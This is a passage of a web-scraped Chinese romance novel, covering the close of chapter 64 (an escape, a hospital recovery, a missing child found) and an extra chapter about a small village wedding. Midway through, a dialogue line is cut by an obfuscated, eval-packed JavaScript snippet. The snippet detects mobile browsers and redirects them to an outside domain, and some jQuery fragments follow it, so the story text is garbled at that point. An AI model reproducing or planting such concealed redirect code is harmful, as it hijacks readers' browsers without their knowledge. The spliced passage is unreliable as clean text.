河边的空气正变得暧昧时,一阵嘈杂的脚步声突然远远传来,接着,一道男人喝声乍起。 “在那儿!” 余念念和白砚回头看,几道强力灯光从夜色里向着他们的脸射过来,让他们短暂丧失了视力,但从脚步声和交谈声来看,这是一群愤怒的男人。 “快跑!”白砚拉起余念念就跑。 几乎下一秒,来人的脚步声就在他们身后不远处响起。 “给我站住!” “你们哪冒出来的?想对我儿子做什么?!” 余念念心头狂跳,肯定是小豆子吃完饭回家说了什么,王家察觉不对,带人截他们来了。 她一瞬间痛恨自己的优柔寡断,想到什么,边跑边从口袋里掏出手机,不顾一切地将那张合照发了出去。 余光中,一根木棍在身侧高高举起,她紧闭上双眼,做好被一棍子打死的准备,下一秒,后背被一个身体护住,紧接着,击打声伴随着白砚的闷哼声同时在她耳侧响起。 “白砚!” 她高喊出声,但来不及扭头看,便被白砚一个转弯拖向另一个方向。 原来,他们已经跑到公园边缘,在他们身侧,是一个近乎九十度的土坡,放眼望去坡下是一片黑暗,看不清高度,也看不出坡底的情形。 “念念,抱紧我!”千钧一发之际,白砚低喊。 余念念来不及问他要做什么,下一瞬,被白砚紧紧抱进怀里,一个转身便朝坡下翻滚而去。 连续几道撞击被白砚硬生生扛下,接着,两人终于停在了黑暗里。 一阵挣扎后,白砚用力撑起身体,摸到余念念,摸了摸她的脸。 “我在这,我没事。”余念念握住他的手,小声说道。 白砚的手收了回去,似乎是揪住了自己的胸口,黑暗里,他的身体痛苦地颤动,终于,哗地一声喷出口什么,接着,软软地倒在余念念肩膀上。 64. 爱意(正文完) 金色笼罩着整条长街。 目之所及,一切都温柔至极,形状各异的屋顶,从阳台伸出来的长长的晾衣杆,晾衣杆上随风摆动的衣物,街道上走动的行人,从烟囱或是窗户里冒出来的炊烟,奔跑嬉戏的孩童,老旧褪色的招牌,店铺门口随意堆放的杂物...... 余念念满足地叹息一声,抱紧怀中人的腰身,将脸埋进对方的胸膛。 接着,听到耳侧传来一声低语:“念念,抱紧我。” “好!我抱紧!”她答应着,胳膊圈得更用力。 久违的天台日落,久违的老街黄昏,久违的拥抱...... 余念念沉浸在这一切里,闭着眼睛,直到怀中身体微微的颤抖将她打断,接着,那身体从她拥抱中抽离。 她看着白砚捂着胸口弯下腰,看着他嘴角流出鲜血,看着他轰然倒地,整片天空从金黄色瞬间化为血红。 “不,不要,白砚......不要!!” 她喊得撕心裂肺。 “念念!” 一声低喊将她拉出噩梦,再睁眼,红色消散,白色的病房映入眼帘。 白砚半躺在病床上,上半身歪向她一侧,另一只手臂上挂着的吊瓶被拉扯得摇摇欲坠。 “别哭,我没事。” 他伸手用大拇指在她脸上轻轻擦了一下,余念念这才意识到自己脸上又挂了一道泪水。 她忙起身,在床上趴了不知多久的身体发出钻心的酸麻,但顾不得停下缓一缓,疾步冲到床的另一边,将白砚身体扶正,稳住吊瓶和针管,又仔细将他的被角掖好。 做完这些,她回到椅子上,握住白砚的手,平复着自己的心跳。 这是她两天来第三次做类似的噩梦了,每一次,白砚都在她眼前吐血倒下,只是,第一次,她独自惊醒,白砚仍在病床上昏迷,后两次,都是被醒来后的白砚从噩梦中拖回来。 “你的脸色比上次醒来时好多了。”她对白砚说。 “当然,”白砚微微笑起来:“那道坡我第一天到酒店时就看过,夜里看着吓人,但死不了人的。放心,我不会拿你的安全冒险。” 余念念不语——但是你拿自己的安全冒险了。 因为那一记木棍和从坡上滚下时受到的撞击,白砚肺部受损,肋骨断了几根,送到医院的路上止不住地咳血,在救护车上时,她一度以为要失去白砚了,整个人脱力到无法动弹。那是她这辈子都不想再体验的无力感。 “念念,你知道,倒下前,我脑子里想的是什么么?” 余念念想了想:“老街?白爷爷?我?” 白砚缓缓摇了摇头:“别人都说,人的大脑在意识到快要死之前会跑马灯似的回忆这辈子经历的所有片段,但很奇怪,我那时脑子里只有一幅画面,就是我们最后一次拥抱的画面。” 余念念听得心脏一阵抽痛,白砚像是嫌她痛得不够狠似的,幽幽地又补了句:“可能是太过渴望了吧......” “抱!等你好了,天天抱!早上抱中午抱晚上也抱,抱到你腻为止!好不好?”余念念几乎立刻缴械投降。 “一定要等到我好了么?”白砚睁着他清冷狭长的丹凤眼,慢悠悠问道。 “......” 技不如人、茶艺不精的余念念瞠目结舌片刻,很快在那眼神注视下败下阵来,同时心里涌上一团柔软,俯下身,给了白砚一个绵长而温柔的拥抱。 坐下来后,看着床上人熟悉的微微勾起的嘴角,她心头一动,想起什么,转身从包里掏出一个小小的黑色丝绒首饰袋,袋口倒转,一团银色的东西闪着亮光掉落到她的手心。 “这是什么?” “是我不久前给你定做的项链,本想慢慢找机会送你,现在看来今天正合适。看,质地轻材质硬,造型独一无二——” 余念念将项链提起,末端,两个圆环扣在一起,乍看上去只是两个不起眼的小圆环,但余念念捏住它们两手一掰,“咔哒”一声脆响,圆环上的某个机关应声而动,相互解开。 这操作看上去十分像...... “——一副手铐,寓意是,你只能被我捕获。”余念念说着,站起来,一点点俯下身,将手伸到白砚脖颈后,咔哒一声将迷你手铐铐上,又侧过脑袋,对着近在咫尺的耳垂低语道:“当然,它也能在某些时候真的充当某种工具,我保证,你绝对挣脱不开......你愿意么?” 灼热的呼吸打在耳下,与脖子上金属冷硬的触感交错,冷热刺激同时加倍。白砚呼吸停滞了一拍,惨白没有血色的嘴唇抿紧,刚刚还清冷无辜的眼神一下子蒙上一层晦暗不明的薄雾,哑着嗓子低声道:“乐意至极......” 看着他控制不住上下滚动的喉结,余念念满意地起身,学着刚刚白砚的样子,勾起一侧嘴角,微微一笑。 两人正一个挑衅一个幽怨地对视着,病房门被敲响。 余念念伸手将项链的小手铐藏到白砚衣服里面,走过去开了门。 门外,村长站在那里,不知多久没洗过的头发油腻而杂乱地支棱着,眼睛里却是抑制不住兴奋的光芒。 在余念念询问的目光里,他跨进来,看了眼病床上的白砚,又看回余念念,重重地点了点头。 哇地一声,余念念捂住自己的嘴巴,抱住了他,两个人哭着笑着一把鼻涕一把泪地在病房里抱着转起了圈。 “我就知道!我就知道!”余念念大喊着。 那天晚上,她抱着就算被打死也要先把找到小豆子的消息传递出去的想法,将她和小豆子的合照发给村长,接着,便和白砚滚下坡去。身后追着的那群人倒是被黑暗中的长坡唬住,停在坡上骂骂咧咧。 另一头,村长收到照片后第一时间回拨了电话过来,无人接听,他心思精细,很快就意识到余念念可能遇到危险,第一时间就报了警,警方通过机票信息查到余念念人在凡城,两地警方合力协调之下,一宗几年前可能 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“不是!”村长大摇其头,“咱村比这城里好多了!宽敞,到处都是一望无际的农田,村头有几人粗的银杏树,村后有成片的果林,一年四季都有庄稼和水果成熟,家家户户都有小鸡小鸭小狗小猪,你宝来大爷做的灯笼那叫一个精美,你胖婶家的饭菜保管你吃得停不下来。等飞机落地了,咱就找车回家,整个村的人都在等着你回去呢......” 小豆子听着,眼里冒出兴奋和神往的光。 前排,余念念和白砚也听着,相视一笑。 余念念将目光移回到窗外,崇安市的夜色随着飞机的向下俯冲逐渐鲜活起来。 高楼大厦,车水马龙,繁华喧嚣,霓虹不息。这座城市跟一年前一样,那么庞杂,那么纷繁,似乎可以淹没掉任何一个个体的恩怨情仇。 这座城市又跟一年前完全不一样。在它的中心,有小小一块区域,联通着她的心脏。她的爱恋,她的归属,她生活的目标,她奋斗的战场,一切一切......只因这块区域,崇安这座城市在她眼里变得温暖而可爱。 看着看着,她越看越高兴,忍不住轻声哼了起来。 白砚笑着听了片刻,从口袋里掏出什么,放在掌心,递到她眼前。 “啊,是我的小音符!”余念念惊喜地低喊,抚摸着重新换了条墨绿色丝巾的小小发带,接着,扭过头去,将后脑勺交给白砚。 白砚轻柔而仔细地为她系好,将她额边碎发缕到耳后,贴近她,低声说道:“从今以后,你是我的专属音符,我想天天听到你像刚刚那样开心地哼小曲。” 余念念靠在他肩上,将那副定制项链从白砚衣领中拽出,十分霸道且不容置疑地说:“从今以后,你是我一个人的天仙小狐狸,只能接受我一个人的驯服。” 飞机缓缓落向大地,城市里,村落中,老街上,无数种爱意延绵不息。 65. 番外1 盛夏八月的某个上午,天空晴朗得没有一丝云。 一个高而瘦、剃着利落平头、背着大大双肩包的男生走进安福楼的院子里,停下脚步,环顾了一圈院里生长旺盛的香樟树和玫瑰花团,又仰头听了一阵此起彼伏的蝉鸣,这才兴致勃勃地推开老街茶馆的大门。 还没来得及完全迈进去,迎面一团火龙果色火焰扑来,接着,某种甜而不腻的果香味飘入鼻孔,他整个人被一团温软的物体砸中,呆立当场。 下一秒,火龙果在他胸前抬起头,打量他片刻,大大的眼睛里一下子冒出惊喜的笑意:“余玩?” 刚刚高考完的成年版余玩略显局促地扶着这位砸进他怀里香香软软的火龙果姐姐的肩膀,缓缓说了一声:“......嗨?” 火龙果噗嗤一声笑出来,伸出拳头重重的在余玩胸口锤了一下,力道之大,让他连着后退两步怼在了门上,两手脱离火龙果的肩膀,颇有些不舍地缓缓放下。 “你不记得我了么?我是你沈童姐姐呀!”顶着一头新发色的沈童笑得十分晃眼,接着,抬起胳膊、踮起脚,想要去拍余玩的脑袋。 然而余玩一下子就将身板挺得笔直,仿佛在无声宣告:老子现在是个一八零成年男性!不是以前那个什么也不懂任你们蹂躏的小屁孩了喂! 沈童够不着头顶,晒笑一声,在他肩膀上拍了拍,朗声道:“来找你姐?她今天有事不在店里,你随便玩一会儿,我出去办个事,一会儿回来带你去吃饭!” 说完,挥了挥手,干脆利落地推门而去,留下玻璃窗上一团火龙果色的背影和空气里若有似无的果香气息。 余玩呆呆冲着大门的方向看了片刻,一转身,被半米外一个直直仰头盯着他的小孩吓了一跳。 小孩长得虎头虎脑,但表情动作老成持重,眼神更是大剌剌没有一丝遮掩。 余玩“嘿”地乐了一声,正想问他自己脸上是有什么东西吗,眼神一移,瞄到什么,惊讶地蹲下,指着小孩胸前挂着的一小团绿色,问:“你这是什么?” 小孩举起脖子上挂着的绿莹莹的东西,看着他的眼睛,道:“一颗汤圆,你看不出来么?” 余玩连忙从包里掏出什么,放在掌心,递出来,交换暗语似的低声道:“一颗鱼丸。” 只是,这颗鱼丸已经被他盘得铮亮,对面那颗汤圆还透着隐隐的新鲜的荧光。 “你认识我姐夫?”余玩问。 小孩眼珠子一转,十分严谨地说:“是你的准姐夫,也有可能成不了你姐夫,还没结婚,一切皆有可能。” 余玩伸出两只手指捏住小孩的嘴巴,嘘道:“你是在写什么论文吗措辞这么滴水不漏?!”接着,妥协道:“小白哥,叫小白哥总行了吧!他为什么送你这个玉汤包?” 小汤包啪地一声拍开他的手,两手背到身后,老神在在道:“首先,因为我叫小汤包。其次,我给小白哥提供了某些至关重要的帮助。” “什么帮助?” “帮助他成为你的准姐夫。” 余玩呆住,半张开嘴,缓缓举起大拇指,无声地用嘴型说了一句:NB! 小汤包又紧盯着他,像野外的小狼盯着马上要到自己嘴边的猎物一样,问:“那你呢,需要我的帮助么?” “啥?我?”余玩浑然不知他的意思,眼神清澈,像家养的某只憨厚的大狼狗。 小汤包指了指大门的方向——也就是刚刚余玩痴痴盯了半晌的方向,点点头:“是啊,帮助你。” 余玩后知后觉地反应过来,脸色立刻红透,蹭地一声站起来,往店里面冲,边冲边喊:“说什么呢你!我刚考上大学,要专心搞学业!而且,老子一八零大猛男,能要你一个小屁孩儿的帮助?笑话!” 说着说着,脚步逐渐慢下来,又逐渐停住,回过头来,等着身后十分淡定背着手缓缓走着的小汤圆,等到两人齐肩,他微微弯下腰,放低音量,弱弱道:“那个......听听也无妨......请问,你要怎么帮助我呢?” —————— 与此同时,西柳镇江边一座造型古朴的小院内,一场迷你草地婚礼正在进行中。 整个婚礼现场只有六个人。 新郎文老师,新娘赵主任。白砚充当司仪兼摄影师,余念念是伴娘,小豆子兼任小花童和小戒童,唯一的观众是村长。 但这位唯一的观众显然不甘安于自己分配到的角色,他给自己的定位是婚礼总导演。 “文老师,你这个笑容有点太内敛!今天是婚礼,不是讲课,你得把自己打开!打开你知道么?” 颇有些紧张的文老师闻声赶紧将嘴角弧度扬得更高,露出的六颗牙齿扩大为八颗,手忙脚乱地想“打开”点什么,于是挺了挺胸口,将本就有些紧的中山装当场绷开一粒扣子。 “哎!文老师,你最近有些发福了啊!”罪魁祸首还在叫嚣,说得文老师脸上一阵发红。 赵主任狠狠瞪了村长一眼——后者立刻缩头消声——又温温柔柔地给文老师扣好扣子,抚平衣服,安慰道:“别听他的,咱们年纪大了,身上本来就要有点肉才好,我还嫌你太瘦了呢。” 文老师笑得眉眼弯弯,低头在她耳边道:“你年纪一点也不大,在我眼里,你是最美的。” 音量已经很小,但还是钻进站在赵主任身旁的余念念耳朵里,她看着赵主任娇羞地低下头去,扭头看了眼一旁也在浅浅笑着的白砚,偷偷举了个大拇指,小声道:“文老师可以啊!” 白砚若有所思几秒,走到她身边,贴在她耳边低语:“在我眼里,你是最美的......” 话还没说完,被余念念一把推回去:“现在是说这个的时候么!” 白砚干咳一声,清了清嗓子,继续cue下一个流程:“下面,请新郎给新娘带上戒指。” 一旁等着的小豆子捧着戒指盒,昂首挺胸地走上前来,见文老师伸手来拿戒指,又忙不迭地收回手去,瞪着双跟村长一模一样的眼睛问:“这么容易就带上啦?” “啧”地一声,余念念伸出根手指在他脑袋上一戳:“不然呢!人文老师再给你表演个节目?你们父子俩咋这么多戏呢!” 洪家村父子对视一眼,敢怒不敢言。婚礼在名为司仪实为伴娘的指挥下顺利进行下去。 简短的仪式结束后,白砚给赵主任和文老师拍着照,余念念和村长、小豆子站在一旁看着。 “干妈,”小豆子脆生生喊了句,“你什么时候跟干爸结婚?” 余念念眉头一扬,扭头看向村长:“你教的?来催我的婚?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811835|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 村长方脸一紧,脖子一梗:“我可没啊!这是孩子自己的心里话!因为他觉得你们两个太般配了,不行么?” 余念念看向小豆子,孩子咽了口口水道:“我爸说,等你们结婚的时候,才能办一百桌的百家宴,从村头摆到村尾,我实在太想吃一百桌的百家宴了......” “住口!”村长一个箭步上前捂住他的嘴,低喊:“不是跟你说了只问一句就好么!” 余念念被他俩逗笑,从村长手臂下解救出小豆子,一脸认真地说道:“那我问你,我们要是结婚的话,你是我的娘家人,还是白砚的亲友团?” 小豆子皱着小脸,似乎没听太明白,余念念于是又补充:“简单来说,我们吵架的话,你帮谁?” 村长小声给儿子支招:“我们得帮弱者,一般来说,这个弱者是白砚。” 没想到小豆子立刻义正言辞地打断他,扬着脑袋大喊:“不可以!” 余念念眼中一亮,夸奖的话正要出口,又听他接着说道:“我的态度取决于谁对我更好,干爸给我买吃的我就帮干爸,干妈带我出去玩儿我就帮干妈!” 余念念和村长对视一眼,双双爆出一句怒骂: “嘿你这臭小子,我这么教你的么?看我不打肿你屁股!”村长从地上捡起根树枝便要抽过去。 “好你个小墙头草,今天我就让你见识见识什么叫干妈!”余念念大手一扬便要往他脑袋上拍去。 “啊!干爸!干爸救我!我最爱你干爸!!”小豆子抱头鼠窜,一边大喊一边绕着院子满地跑,村长和余念念一个穿着不合身的西装,一个捏着仙气飘飘的伴娘裙裙角,跟在他身后不甚灵活地追着。 白砚扭头看了眼,笑起来,咔擦咔擦用相机捕捉了几张三人的追逐战,还不过瘾,又冲赵主任和文老师示意了一番,三人默契点头,以正追逐得面目扭曲的两大一小为背景,摆出了优雅的造型,咔擦,六人合照就此诞生。 —————— 晚上,从西流镇回崇安市的车上,余念念看着相机里的照片,表情从一开始的姨母笑逐渐转为痛苦面具。 一旁,白砚问:“小豆子说了什么你这么生气?” 余念念瞪着相机,随口接了一句:“他问咱俩什么时候结婚。” 车厢里空气沉默了足足两分钟。 余念念后知后觉地察觉到什么,急忙抬起头,拉起白砚的手握住,柔声道:“不是你想的那样!” 白砚幽幽问:“我想的哪样?你抗拒跟我结婚?” “我......我当然不抗拒啊!” “但你也不期待。”白砚语气里的幽怨指数直线攀升。 “我......其实......还挺......期待的啊!” 后面接着的半句“但也没必要这么着急吧”还没说出口,白砚狭长的眼中“叮”地冒出亮晶晶的光芒,成功让她闭上了嘴。 “是么?”白砚边从口袋里掏出手机,边轻快道:“那我通知村长早点准备,毕竟,一百桌百家宴要准备的东西肯定不少。” “......” 夜色降临中,余念念独自看着窗外默默反思:人到底是怎么一而再,再而三,三而无数次地栽在同一条套路上的......